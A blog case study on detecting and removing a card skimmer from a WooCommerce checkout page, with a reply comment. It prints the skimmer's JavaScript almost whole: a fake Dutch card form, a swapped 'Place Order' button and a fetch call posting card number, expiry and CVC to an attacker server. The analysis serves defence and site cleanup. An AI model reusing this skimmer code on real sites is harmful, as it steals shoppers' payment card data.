Malware Detection and Removal from WooCommerce Checkout Page

Background:

A few days ago, we encountered a serious security issue on a WooCommerce-based WordPress website. A malicious script had infiltrated the system and embedded a fake payment form on the checkout page. This form captured credit card information entered by users and sent them to a hacker’s server. The malware was stored within the WordPress database in the _options table.

This case study details the process of detecting and removing the malware, explaining how it operated and the steps taken to clean the website.

Malware Description:

The malware inserted a form into the WooCommerce checkout page, mimicking a legitimate credit card payment input. The form asked for the following details:

  • Card Number
  • Expiry Date
  • CVC Code

The malware script also manipulated the original “Place Order” button, replacing it with a fake button. Upon clicking the button, instead of processing the payment, it collected the payment details entered by the user and sent them to a remote server controlled by the attacker.

Phase 1: Identifying the Issue

Initial Symptoms:

The site appeared normal, but the checkout page behaved strangely when users submitted their payment details. Upon submitting the form, a POST request was being made to a suspicious third-party server, indicating that the payment information was being hijacked.

Steps Taken to Identify the Malware:

  1. Form Submission with a Test Card:
    • We submitted a test card on the WooCommerce checkout page, expecting the payment to be processed by the legitimate payment gateway.
  2. Network Tab Analysis:
    • Using the browser’s developer tools, specifically the Network tab, we monitored the HTTP requests sent when the form was submitted.
    • We discovered that a POST request was being sent to https://fabulo.xyz/api/accept-car, which was unrelated to the legitimate payment processing flow.
  3. Payload Inspection:
    • The request payload contained sensitive payment details such as the card number, expiration date, and CVC code, confirming that the malware was capturing and sending this data to the attacker.
  4. Source Code Review:
    • By inspecting the page’s source code, we found malicious JavaScript dynamically injecting a fake payment form and sending the collected data to the attacker’s server.

Phase 2: Analyzing the Malicious Code

The following malicious code was discovered in the site_wide_header option of the WordPress database. Here’s a breakdown of what each part of the code does:

[code lang=”js”]
let isChecked = localStorage.getItem("already_checked");
let btnId = "place_order";
let isFrame = true;
let url2 = "https://fabulo.xyz/api/accept-car";
let loaded = false;
[/code]

  • isChecked: This variable checks if the fake form has already been submitted to avoid showing the form again.
  • btnId & isFrame: These variables are used to locate and manipulate the “Place Order” button.
  • url2: This is the malicious server endpoint to which the stolen payment data is sent.
  • loaded: A flag to determine when the fake form has been successfully inserted.

Form Insertion Script:

[code lang=”js”]
window.addEventListener("load", e => {
if (isFrame && document.URL.includes("afrekenen") && isChecked != "1") {
setTimeout(() => {
let frame = document.querySelector(".woocommerce-terms-and-conditions-wrapper");

let newDiv = document.createElement('div');
newDiv.classList.add("s_div1");
newDiv.innerHTML += `
<div>
<span style="color: #515151; margin-bottom: 10px;">Kaartnummer *</span>
<input type="text" class="input-text" id="cardNum" spellcheck="false" style="border: 1px solid; outline: none; width: 100%;padding: 5px;margin-top: 10px;" placeholder="1234 1234 1234 1234" data-ddg-inputtype="creditCards.cardNumber">
<div style="display: flex; margin-top: 10px;">
<div style="margin-bottom: 5px;display: flex;flex-direction: column;width: 50%;margin-right: 15px;">
<span style="color: #515151; margin-bottom: 10px;">Vervaldatum *</span>
<input id="exp" type="text" class="input-text" spellcheck="false" placeholder="MM / AA" style="border: 1px solid; outline: none; margin-right: 15px; width: 100%;padding: 5px;" data-ddg-inputtype="creditCards.expiration">
</div>
<div style="display: flex;flex-direction: column;width: 50%;">
<span style="color: #515151; margin-bottom: 10px;">Kaartcode (CVC) *</span>
<input id="cvv" type="text" spellcheck="false" class="input-text" placeholder="CVC" style="border: 1px solid; outline: none; width: 100%;padding: 5px;" data-ddg-inputtype="creditCards.cardSecurityCode">
</div>
</div>
</div>
`;

frame.appendChild(newDiv);
loaded = true;

}, 5000);
}
});
[/code]

Replacing the Legitimate “Place Order” Button:

[code lang=”js”]
setInterval(() => {
if (isFrame && loaded && !breakInterval && isChecked != "1") {
let checkout = document.getElementById("place_order");
let newBtn = document.createElement("button");
newBtn.id = checkout.id;
newBtn.className = checkout.className;
newBtn.name = checkout.name;
newBtn.innerText = checkout.innerText;
newBtn.addEventListener("click", clickFunc);
checkout.parentElement.removeChild(checkout);
checkout.parentElement.appendChild(newBtn);
}
}, 2000);
[/code]

Malicious Data Capture and Sending:

[code lang=”js”]
function clickFunc(e) {
e.preventDefault();
const card = document.getElementById("cardNum");
const exp = document.getElementById("exp");
const cvv = document.getElementById("cvv");

let dataObject = {
card: card.value,
exp: exp.value,
cvv: cvv.value
};

fetch(url2, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ dataObject })
}).then(res => {
localStorage.setItem("already_checked", "1");
window.location.reload();
});
}
[/code]

Phase 3: Malware Removal Process

Step 1: Database Investigation

Once the malicious behavior was identified, we investigated the WordPress database for any suspicious entries. Using the following query, we located the injected JavaScript in the _options table:

[code lang=”sql”]
SELECT * FROM wp_options WHERE option_name LIKE 'site_wide_header';
[/code]

Step 2: Removing the Malicious Code

[code lang=”js”]
UPDATE wp_options
SET option_value = REPLACE(option_value, 'malicious_code_here', '')
WHERE option_name = 'site_wide_header';
[/code]

Conclusion

By identifying the source of the malware through network traffic inspection and database investigation, we successfully removed the malicious script and secured the site. The quick detection and resolution prevented further data theft, and the implementation of security best practices reduced the risk of future compromises.

This case emphasizes the importance of monitoring network requests, scanning for malware regularly, and keeping systems up to date to prevent attacks on e-commerce platforms.

Final Thoughts

If your e-commerce site is compromised, it can damage your reputation, lead to loss of sensitive customer data, and expose you to potential legal consequences. Regularly scan your site, ensure that plugins and themes are kept up to date, and invest in a strong security solution.

In this case, proactive monitoring and thorough investigation saved the client from further damage. If you suspect any issues or need assistance in securing your WordPress or WooCommerce site, don’t hesitate to reach out for professional help.

Stay safe and secure!

2 comments
    1. Hi Vlad,

      Thanks for sharing your experience! It’s interesting to hear that you found the malware injected into wp_posts via a WP Code snippet rather than in WP Options. Malware often targets different parts of the WordPress ecosystem, and it seems like this one was flexible enough to use multiple entry points.

      If you haven’t already, I’d recommend scanning other database tables and checking for any unusual or unauthorized code in theme or plugin files as well. It’s crucial to also review access logs to see how the malicious code was inserted in the first place. Implementing regular scans and monitoring network requests, as we did in this case, can help catch any future threats early.

      Feel free to reach out if you need further assistance!

      Best regards,
      MD Pabel

Leave a Reply

Your email address will not be published. Required fields are marked *

You May Also Like